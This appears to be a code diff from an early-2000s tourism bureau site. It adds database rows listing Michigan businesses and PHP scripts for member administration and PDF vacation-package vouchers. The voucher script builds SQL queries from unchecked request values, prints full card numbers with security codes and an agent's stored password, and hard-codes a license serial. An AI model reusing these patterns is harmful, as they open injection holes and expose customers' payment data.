+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (341,'','',8,1,'t','Black Lake Golf Club','2800 Maxon Road','Onaway','MI','49765','US','989-733-GOLF','','','','blacklakegolf.com','Nationally acclaimed architect Rees Jones'' first Northern Michigan course is Black Lake Golf Club and it bears his trademark of top-notch quality and playability. The course has been selected by Golf Digest as the ""2nd Best New Upscale Public Course for 2000"" and by Golf Magazine in 2001 ""Top 10 you can play"" Complimenting the big course is the unique ""Little Course"", a par 3 pitch and putt, plus a double-ended bentgrass range.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (148,'','',4,1,'t','Mackinaw Straits Area Wedding Consultant','P.O. Box 877','Mackinaw City','MI','49701','US','231-436-5686 ','','','mackinacweddings@aol.com','www.mackinac.com/weddingspecialist','Unique wedding opportunities (indoor & outdoor): Mackinaw City, one hour wedding cruise, historic lighthouse, Mackinac Island or countryside church...complete planning of services available. <p> Winter Phone(Oct - May): 616-327-2549. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (150,'','',6,1,'t','Great Lakes Teddy Bear Company','Located in the Mackinaw Crossings','Mackinaw City','MI','49701','US','231-436-BEAR','888-433-GLTB','','','www.greatlakesteddybear.com','Create Your Own Bear! Choose your own eyes, nose & fur, Experience the excitement of stuffing your new friend and giving is a bath. When you finished, name your bear and receive a birth certificate. Accessorize your new teddy with a variety of wearables.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (151,'','',1,6,'t','Sunrise Beach Motel','11416 W. U.S. 23','Mackinaw City','MI','49701','US','231-436-5461','800-334-7239','231-436-7429','','www.sunrisebeachmotel.com','Waterfront Motel with private decks & balconies overlooking the Mackinac Bridge & Mackinac Island. Private sandy beach with picnic, play, & firepit areas. Htd Outdoor-Indoor Pool with large sundeck and Spa. Microwaves & refrigerators available. Phones, A/C, C/CTV w/remotes. Free continental Breakfast.','','','','','','','2002-12-12','2002-12-12','t','t','t','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (176,'','',12,1,'t','Great Lakes Shipwreck Museum','18355 N. Whitefish Point Rd.','Paradise','MI','49768','US','1-877-shipwreck','','','','www.shipwreckmuseum.com','Exhibits tell the stories of wrecked ships & lives lost on the Great Lakes. Highlights include Edmund Fitzgerald Memorial featuring the ship''s bell, 1861 Lightkeepers Quarters, Theater, Museum Store & sweeping views of the Shipwreck Coast. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (342,'','',1,6,'t','Mill Creek Motel','9176 US 23','Mackinaw City','MI','49701','US','231-436-8722','','','','','Non Smokers only. Ultra clean, quiet, relaxed. Family-owned & operated on the water. Private beach, bonfires, new televisions with remotes, cable, HBO, refrigerators, microwaves. Across from Mill Creek State Park. Breathtaking view of Bridge and Island. Sorry no pets.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','t','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (343,'','',11,1,'t','Squealy Downings Family Restaurant','707 N. Huron Avenu','Mackinaw City','MI','49701','US','231-436-7330','','','','','OPEN ALL YEAR. Breakfast, Lunch, Dinner. Featuring a 19 foot buffet with the best home cooking in the North & full menu with chabroiled steaks, seafood, pizza, specialty sandwiches & cocktails. Free delivery. Special group rates & catering. Hundreds of pigs to see!','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (344,'','',8,1,'t','The Rock at Drummond Island','33494 S. Maxton Road','Drummond Island','MI','49726','US','906-493-1006','800-999-6343','','','www.drummondisland.com','Island Greens. Long tree-lined fairways. Dog-legs left. Dog-legs right. Abundant wildlife - deer that actually come into play on some holes. Four tees for play all levels. This emerald is cut out of limestone, trimmed by hardwood and cedar, and each fairway is crafted separately over 400 acres. Enjoy fine dining at Bayside Restaurant & Lounge on the waterfront or a more casual menu at Pins Bar & Grill','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (345,'','',2,1,'t','Richard E. Mahlmeister','P.O. Box 996','Mackinaw City','MI','49701','US','231-436-5223','','','','','Offering a full range of accounting,payroll auditing,and tax services; all with a personal touch.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (346,'','',3,1,'t','Hospitality Management of Michigan','927 North State Street','Mackinaw City','MI','49781','US','','800-643-7177','906-643-6420','','','Hospitality Management is an established Group Sales business with professional experience in group packaging in Michigan. Call for information.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (347,'','',11,1,'t','Fish Basket and Pub','825 S. Huron Avenue','Mackinaw City','MI','49701','US','231-436-5557','','','','','Famous Fish Fry prepared freshly while you wait. Enjoy several choices of Fish, dips and taters. Also enjoy your favorite cocktail at this location. Our carrot cake is the best!','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (305,'','',6,1,'t','Rainbow Sportswear','317 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5631','','','ahayden@ctaz.com','','THE T-SHIRT HUB OF MACKINAW! The BEST imprinted T''s and Sweats in the midwest. Only quality garments like JERZEE. Over 5,000 images available, completed while you wait. The Largest Selection of Belt Buckles in the Country. ','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (308,'','',6,1,'t','Enchanted Knights','Central Avenue, P.O. Box 749','Mackinaw City','MI','49701','US','231-436-4059','','231-597-9227','eknights@northlink.net','www.enchantedknights.com','A truely unique store where ""Myths and Legends come Alive."" Featuring a full size knight, dragon, and Pegasus - Renaissance clothing, weapons, and jewelry, mythical figurines, incense, T-shirts and much, much more. Visit our website at www.enchantedknights.com for a store tour. Located at the Central Avenue entrance to the Mackinaw Crossings.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (309,'','',9,1,'t','Le Sault de Ste. Marie Historical Sites, Inc.','501 E. Water Street','Sault Ste. Marie','MI','49783','US','906-632-3658','888-744-7867','906-632-9344','valleycamp@sault.com','www.soohistoricinc.sault.com','The historic 1917 Museum Ship VALLEY CAMP with over 100 exhibits, including the huge fresh-water aquariums, the Edmund Fitzgearld lifeboats and memorial.Glimpse into the crew''s working conditions as you tour all three levls of this 550 ft lake freighter. Take in the panoramic view from the top of the 210 foot Tower of History. Also featured are local artifacts and a historical video of Sault Ste. Marie.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (310,'','',11,1,'t','Goldie''s On The Lake','6492 Paradise Trail','Carp Lake','MI','49718','US','231-537-4089','','','','www.goldiescafe.com','Visit Goldie''s Cafe on relaxing Paradise Lake. We offer a wide variety of homemade specialties from entrees to soups and pies. Dine inside or outside on our covered deck. After your meal enjoy the Old Fashioned Ice Cream Parlour, featuring hand-dipped ice cream, malts, sundaes, banana splits and other house specialties. Just 5 miles south of Mackinaw City.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','f','f','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (311,'','',11,1,'t','Cunningham''s Family Restaurant','312 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-8821','','231-627-1136','','www.cunninghamsrestaurant.com','Our #1 goal is to provide you our customers with a delicious meal and warm and friendly service in a nautical atmosphere. Specializing in home-style cooking, homemade pasty''s, homemade pies and fresh whitefish from the Great Lakes. Kids menu available, smoke-free, Visa - Mastercard Cards Accepted. Group Tours Welcome.','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','t','f','t','t','f','f','f',NULL);
+INSERT INTO "member" ("id","user_id","user_pw","memb_type","prop_type","reservations","name","address","city","state","zip","country","phone","toll_free","fax","email","url","descr","image1","image_text1","image2","image_text2","image3","image_text3","open_from","open_to","indoor_pool","outdoor_pool","whirlpool","exercise","waterfront","conference","meeting","restaurant","breakfast","freebreakfast","lunch","dinner","cocktails","entertainment","snowmobile_tr","credit_cards") VALUES (312,'','',11,1,'t','Wilderness Cafe & Pizza Palace','314 & 316 E. Central Avenue','Mackinaw City','MI','49701','US','231-436-5462','','231-627-1136','','www.wildernesscafe.com','Offering delicious and satisfying meals at affordable prices in a beautiful wilderness setting. We feature a Full-Service Menu in which you are sure to find a dish that pleases the eye as well as the palate. Salad Bar, American, Mexican, Italian food, Pizza and Kids menu too. We offer beer, wine or your favorite cocktail. Group Tours Welcome. PIZZA LOVERS FAR AND WIDE know that the best Pizza in the North is the family-owned and operated PIZZA PALACE. Call ahead and have a hot, tasty pizza ready when you arrive or take advantage of our fast, free delivery, which ever you prefer. ($6.00 min. on delivery).','','','','','','','2002-12-12','2002-12-12','f','f','f','f','f','f','f','f','f','f','t','t','t','f','f',NULL);
+--
+-- TOC Entry ID 1 (OID 780691)
+--
+-- Name: member_id_seq Type: SEQUENCE SET Owner:
+--
+
+SELECT setval ('member_id_seq', 500, 'f');
+
--- /dev/null
+<?
+
+// Reservation Administration navigation
+
+include( "../../siteinfo.inc");
+
+?>
+<HTML>
+<HEAD>
+<link type="text/css" rel=stylesheet href="../main.css"">
+<TITLE></TITLE>
+<META NAME="Author" CONTENT="Gaslight Media">
+</HEAD>
+<BODY BGCOLOR="#ffffff" LINK="#000080" VLINK="#000080" ALINK="#000080">
+<CENTER>
+ Member Administration<BR>
+<TABLE BORDER=0>
+ <TR>
+ <TD ALIGN=CENTER>
+ <span class="navlink">
+
+ <A HREF="<?echo "action.phtml?Action=Member+Type"?>" TARGET="Res_Main">[Member Types]</A>
+ <A HREF="<?echo "action.phtml?Action=Property+Type"?>" TARGET="Res_Main">[Property Types]</A>
+ <!--
+ <A HREF="<?echo "action.phtml?Action=Rate+Class"?>" TARGET="Res_Main">[Rate Classes]</A>
+ -->
+ <A HREF="<?echo "action.phtml?Action=Member"?>" TARGET="Res_Main">[Members]</A>
+ <!--
+ <A HREF="<?echo "action.phtml?Action=Reservations"?>" TARGET="Res_Main">[Reservations]</A>
+ -->
+ </span>
+ </TD>
+
+ </TR>
+</TABLE>
+</CENTER>
+</BODY>
+</HTML>
+
--- /dev/null
+<? // Absolutely nothing above this line!
+
+/*
+ pdf_voucher.phtml - Produce receipt and vouchers for a package request
+
+ Call with: $req = Package Request ID
+
+*/
+
+putenv("PDFLIBSERIAL=L40300-102733-2200XX-5B12E1"); // PDFLib License Number
+
+define( "PDF_DEBUG", FALSE ); // Overlays output forms with calibration grid
+
+include( "../../siteinfo.inc" );
+include( BASE_PATH."/functions.inc" );
+
+ // Get all request related data
+
+if( !isset($id) || empty($id) ||
+ ($pr = db_auto_get_row( "SELECT * FROM package_req WHERE id = $id;", 0, CONN_STR, FALSE ) ) == FALSE )
+ {
+ echo "ERROR: Unable to retrieve Package Request data from database<P>";
+ exit;
+ }
+if( ($package = db_auto_get_row( "SELECT * FROM package WHERE id = ".$pr["package"].";", 0, CONN_STR, FALSE ) ) == FALSE )
+ {
+ echo "ERROR: Unable to retrieve Package data from database<P>";
+ exit;
+ }
+if( ($member = db_auto_get_row( "SELECT * FROM member WHERE id = ".$pr["member"].";", 0, CONN_STR, FALSE ) ) == FALSE )
+ {
+ echo "ERROR: Unable to retrieve Member data from database<P>";
+ exit;
+ }
+if( ($accommodation = db_auto_get_row( "SELECT * FROM accommodation WHERE id = ".$pr["accommodation"].";", 0, CONN_STR, FALSE ) ) == FALSE )
+ {
+ echo "ERROR: Unable to retrieve Package data from database<P>";
+ exit;
+ }
+
+
+ // Load PDFlib - Only required on Devsys, Not on WS1
+
+// @dl("libpdf_php.so");
+
+
+define( "PAGE_SIZE_X", 612 );
+define( "PAGE_SIZE_Y", 792 );
+
+ // Position definitions
+
+$pos_ref = array
+ (
+ 0 => array( "x" => 0, "y" => 396 ), // Origin of form 0 - Top form
+ 1 => array( "x" => 0, "y" => -20 ) // Origin of form 1 - Bottom form
+ );
+
+ // Setup for PDF
+
+$pdf = PDF_new();
+PDF_open_file( $pdf, "" );
+PDF_set_info( $pdf, "Creator", "MAVB Reservation System" );
+PDF_set_info( $pdf, "Author", "Gaslight Media" );
+PDF_set_info( $pdf, "Title", "Package System Receipt/Vouchers" );
+
+$font_size = $current_y = $last_y = 0;
+$pdf_color = "black";
+
+ // Form selection fuction - $form = 0-Top 1-Bottom
+
+$form = 2; // 2 indicates no page started yet
+
+function next_page( $f )
+{
+ global $pdf, $pos_ref, $form;
+
+ if( $form > 0 )
+ {
+ if( $form == 1 ) // If last form was bottom, end current page
+ PDF_end_page( $pdf );
+ PDF_begin_page( $pdf, PAGE_SIZE_X, PAGE_SIZE_Y ); // Start a new page
+
+ if( PDF_DEBUG ) glmpdf_read_file( "grid.pdf", 0, 0 ); // Load grid for testing
+
+ $form = 0;
+ }
+ else
+ $form = 1;
+
+ if( $f )
+ glmpdf_read_file( "packages_form.pdf", $pos_ref[$form]["x"], $pos_ref[$form]["y"], 1, 1 );
+}
+
+
+ // Function to read in a pdf file and place it
+
+function glmpdf_read_file( $file, $x, $y, $x_scale = 1, $y_scale = 1 )
+{
+ global $pdf;
+
+ $p_f = PDF_open_pdi( $pdf, $file, "", 0 );
+ $pd_f = PDF_open_pdi_page( $pdf, $p_f, 1, "" );
+ PDF_place_pdi_page( $pdf, $pd_f, $x, $y, $x_scale, $y_scale );
+ PDF_close_pdi_page( $pdf, $pd_f );
+ PDF_close_pdi( $pdf, $p_f );
+}
+
+ // Set font to print
+
+$font = 0;
+function glmpdf_set_font( $f, $s )
+{
+ global $pdf, $font_size, $font;
+
+ $font_size = $s; // For reference by other code
+
+ $font = PDF_findfont( $pdf, $f, "host", 0 );
+ PDF_setfont( $pdf, $font, $s );
+}
+
+ // Move current position down a line
+
+function glmpdf_new_line( $lines = 1 )
+{
+ global $last_y, $current_y, $font_size;
+
+ $last_y= $current_y;
+ $current_y -= ( $font_size * $lines );
+}
+
+ // Place text on a form
+
+function glmpdf_place_text( $text, $x, $y, $mode = "", $color = "" )
+{
+ global $pdf, $pos_ref, $form, $current_y, $last_y, $font_size, $font, $pdf_color;
+
+ if( $color != "" )
+ {
+ $save_color = $pdf_color;
+ glmpdf_set_color( $color );
+ }
+
+ $xf = $x + $pos_ref[$form]["x"];
+ $yf = $y + $pos_ref[$form]["y"];
+
+ switch( $mode )
+ {
+ case "center":
+ $xf = $xf - (PDF_stringwidth($pdf,$text,$font,$font_size)/2);
+ break;
+
+ case "right":
+ $xf = $xf - PDF_stringwidth($pdf,$text,$font,$font_size);
+ break;
+
+ case "left":
+ default:
+ break;
+ }
+ PDF_show_xy( $pdf, $text, $xf, $yf );
+
+ $last_y = $y;
+ $current_y = $y - $font_size;
+
+ if( $color != "" )
+ glmpdf_set_color( $save_color );
+}
+
+ // Continue text on next line
+
+function glmpdf_continue_text( $text )
+{
+ global $pdf, $pos_ref, $form, $current_y, $last_y, $font_size;
+
+ PDF_continue_text( $pdf, $text );
+
+ $last_y = $current_y;
+ $current_y = $last_y - $font_size;
+}
+
+
+ // Place text on a form
+
+function glmpdf_place_text_box( $text, $x, $y, $w, $h, $color = "" )
+{
+ global $pdf, $pos_ref, $form, $current_y, $last_y, $font_size, $pdf_color;
+
+ if( $color != "" )
+ {
+ $save_color = $pdf_color;
+ glmpdf_set_color( $color );
+ }
+
+ $xf = $x + $pos_ref[$form]["x"];
+ $yf = $y + $pos_ref[$form]["y"];
+
+ PDF_show_boxed( $pdf, $text, $xf, $yf, $w, $h, "left", "" );
+
+ $last_y = $current_y;
+ $current_y = $last_y - $font_size;
+
+ if( $color != "" )
+ glmpdf_set_color( $save_color );
+
+}
+
+
+ // Place line on form
+
+function glmpdf_place_line( $w, $x1, $y1, $x2, $y2, $color = "" )
+{
+ global $pdf, $pos_ref, $form, $current_y, $last_y, $font_size, $pdf_color;
+
+ if( $color != "" )
+ {
+ $save_color = $pdf_color;
+ glmpdf_set_color( $color );
+ }
+
+ $x1f = $x1 + $pos_ref[$form]["x"];
+ $y1f = $y1 + $pos_ref[$form]["y"];
+ $x2f = $x2 + $pos_ref[$form]["x"];
+ $y2f = $y2 + $pos_ref[$form]["y"];
+
+ PDF_setlinewidth( $pdf, $w );
+ PDF_moveto( $pdf, $x1f, $y1f );
+ PDF_lineto( $pdf, $x2f, $y2f );
+ PDF_closepath_stroke( $pdf );
+
+ $last_y = $y2;
+ $current_y = $y2 - $font_size;
+
+ if( $color != "" )
+ glmpdf_set_color( $save_color );
+
+}
+
+ // Place BOX on form
+
+function glmpdf_place_box( $w, $x, $y, $width, $height, $color = "" )
+{
+ global $pdf, $pos_ref, $form, $current_y, $last_y, $font_size, $pdf_color;
+
+ if( $color != "" )
+ {
+ $save_color = $pdf_color;
+ glmpdf_set_color( $color );
+ }
+
+ $xf = $x + $pos_ref[$form]["x"];
+ $yf = $y + $pos_ref[$form]["y"];
+
+ PDF_setlinewidth( $pdf, $w );
+
+ PDF_rect( $pdf, $xf, $yf, $width, $height );
+ PDF_closepath_stroke( $pdf );
+
+ $last_y = $y;
+ $current_y = $last_y - $font_size;
+
+ if( $color != "" )
+ glmpdf_set_color( $save_color );
+
+}
+
+ // Set Color
+
+ // Mode = "rgb" is the only option at this time
+ // Type = fill type is "stroke", "fill", or "both"
+
+function glmpdf_set_color( $c, $mode = "rgb", $type = "both" )
+{
+ global $pdf, $pdf_color;
+
+ $rgb_names = array
+ (
+ "red" => array( "r" => 1, "g" => 0, "b" => 0 ),
+ "black" => array( "r" => 0, "g" => 0, "b" => 0 )
+ );
+
+ switch( $mode )
+ {
+ case "rgb":
+ PDF_setcolor( $pdf, $type, $mode, $rgb_names[$c]["r"], $rgb_names[$c]["g"], $rgb_names[$c]["b"] );
+ $pdf_color = $c;
+ break;
+ default:
+ echo "<P>ERROR: Invalid color specified for glmpdf_set_color()<P>";
+ exit;
+ break;
+ }
+
+ return TRUE;
+}
+
+// ---------- Do MAVB Summary Form ----------
+
+next_page( FALSE ); // Start first page
+
+glmpdf_set_font( "Helvetica-Bold", 14.0 ); // Header Text
+glmpdf_place_text( "MAVB VACATION PACKAGE SUMMARY", 300, 370, "center" );
+
+if( $pr["aaa_mode"] == 2 )
+ {
+
+ $agent_data = db_auto_get_row( "SELECT * FROM aaa_agent WHERE user_id = '".$pr["agent_id"]."';", 0, CONN_STR, FALSE );
+
+ glmpdf_set_font( "Helvetica", 11.0 );
+ glmpdf_place_text( "AAA Agent ID: ", 30, 375, "", "red" );
+ glmpdf_place_text( $pr["agent_id"], 110, $last_y, "", "red" );
+ glmpdf_place_text( "DOF:", 30, $current_y, "", "red" );
+ glmpdf_place_text( $agent_data["user_pw"], 110, $last_y, "", "red" );
+ glmpdf_place_text( "Location:", 30, $current_y, "", "red" );
+ glmpdf_place_text( $agent_data["location"], 110, $last_y, "", "red" );
+ }
+
+glmpdf_set_font( "Helvetica", 10.0 ); // Normal text
+
+glmpdf_place_text( "Booking#: ", 30, 340 ); // Request #
+glmpdf_place_text( $pr["id"], 110, $last_y );
+
+glmpdf_place_text( "Date Issued: ", 30, $current_y ); // Date Entered
+glmpdf_place_text( $pr["date_entered"], 110, $last_y );
+
+glmpdf_place_text( "Sold To:", 30, $current_y ); // Name Address
+glmpdf_set_font( "Helvetica", 10.0 );
+glmpdf_place_text( $pr["lname"].", ".$pr["fname"], 40, $current_y );
+glmpdf_place_text( $pr["addr1"], 40, $current_y );
+if( !empty($pr["addr2"]) ) glmpdf_place_text( $pr["addr2"], 40, $current_y );
+glmpdf_place_text( $pr["city"].", ".$pr["state"]." ".$pr["zip"], 40, $current_y );
+
+glmpdf_new_line();
+glmpdf_place_text( "Phone #:", 30, $current_y ); // Phone #
+glmpdf_place_text( $pr["phone"], 110, $last_y );
+
+glmpdf_place_text( "E-Mail:", 30, $current_y ); // E-Mail Address
+glmpdf_place_text( $pr["email"], 110, $last_y );
+
+glmpdf_place_text( "Payment by:", 30, $current_y ); // Pay by
+switch( $pr["payby"] )
+ {
+ case 1: // CC
+ glmpdf_place_text( $pr["cctype"]." Credit Card", 110, $last_y );
+ glmpdf_place_text( "Name:", 30, $current_y );
+ glmpdf_place_text( $pr["ccname"], 110, $last_y );
+ glmpdf_place_text( "Card # - Exp.:", 30, $current_y );
+ glmpdf_place_text( $pr["ccnumber"]." (".$pr["cccode"].") ".$pr["expire"], 110, $last_y );
+ break;
+
+ case 2: // Check
+ glmpdf_place_text( "Check", 110, $last_y );
+ break;
+ }
+
+glmpdf_place_text( "Confirmation #:", 30, $current_y );
+glmpdf_place_text( $pr["conf_numb"], 110, $last_y );
+glmpdf_place_text( "Date Confirmed:", 30, $current_y );
+glmpdf_place_text( $pr["date_confirmed"], 110, $last_y );
+glmpdf_place_text( "Confirmed By:", 30, $current_y );
+glmpdf_place_text( $pr["conf_by"], 110, $last_y );
+
+glmpdf_set_font( "Helvetica-Bold", 12.0 );
+glmpdf_place_text( "[_] MAILED _______________________", 30, 140 );
+glmpdf_new_line();
+glmpdf_place_text( "[_] DELIVERED ____________________", 30, $current_y );
+glmpdf_place_box( 2, 25, 102, 232, 60 );
+
+glmpdf_set_font( "Helvetica", 10.0 );
+glmpdf_place_text( "Special Needs:", 30, 68 ); // Special Needs
+if( empty($pr["special_needs"]) )
+ glmpdf_place_text( "(none)", 110, 68 );
+ else
+ {
+ glmpdf_set_font( "Helvetica", 10 );
+ glmpdf_place_text_box( $pr["special_needs"], 110, 38, 190, 30 );
+ }
+
+glmpdf_set_font( "Helvetica", 12.0 ); // Hotel and occupants
+glmpdf_place_text( "Arrive: ", 290, 350 );
+glmpdf_set_font( "Helvetica-Bold", 12.0 );
+glmpdf_place_text( $pr["arrival_date"], 340, $last_y );
+glmpdf_set_font( "Helvetica", 12.0 );
+glmpdf_place_text( "Nights: ".$pr["nights"], 430, $last_y );
+glmpdf_place_text( "Hotel: ", 290, $current_y );
+glmpdf_place_text( $member["name"]." *", 340, $last_y );
+glmpdf_place_text( $accommodation["name"], 340, $current_y );
+glmpdf_place_text( "Rooms:", 290, $current_y );
+glmpdf_place_text( $pr["rooms"], 340, $last_y );
+glmpdf_place_text( "Adults: ".$pr["adults"], 370, $last_y );
+$todler_y = 430;
+if( $pr["children"] > 0 )
+ {
+ glmpdf_place_text( "Children 5-12: ".$pr["children"], 430, $last_y );
+ $todler_y = 510;
+ }
+if( $pr["todlers"] > 0 )
+ glmpdf_place_text( "Children Under 5: ".$pr["todlers"], $todler_y, $last_y );
+
+glmpdf_new_line();
+glmpdf_set_font( "Helvetica-Bold", 10.0 ); // Package Info
+glmpdf_place_text( $package["name"], 430, $current_y, "center" );
+glmpdf_set_font( "Helvetica", 10.0 );
+for( $i=0 ; $i<10 ; $i++ ) // Components
+ if( $package["comp$i"] != 0 )
+ {
+ $c = db_auto_get_row( "SELECT * FROM package_comp WHERE id = ".$package["comp$i"].";", 0, CONN_STR, FALSE );
+ glmpdf_place_text( $c["name"], 290, $current_y );
+ if( $c["voucher_req"] == "f" )
+ glmpdf_place_text( "Ticket #'s ___________________________________", 310, $current_y );
+ }
+
+glmpdf_new_line();
+if( !empty($pr["addons"]) )
+ {
+ $add_on_data = explode( '|', $pr["addons"] ); // Break out add_ons list to array
+ while( list($key, $val) = each( $add_on_data ) )
+ {
+ $a = explode( ',', $add_on_data[$key] );
+ $ad = db_auto_get_row( "SELECT * FROM package_addon WHERE id = ".$a[0].";", 0, CONN_STR, FALSE );
+ glmpdf_place_text( $ad["name"], 290, $current_y );
+ if( $ad["voucher_req"] == "f" )
+ glmpdf_place_text( "Ticket #'s ___________________________________", 310, $current_y );
+ }
+ }
+
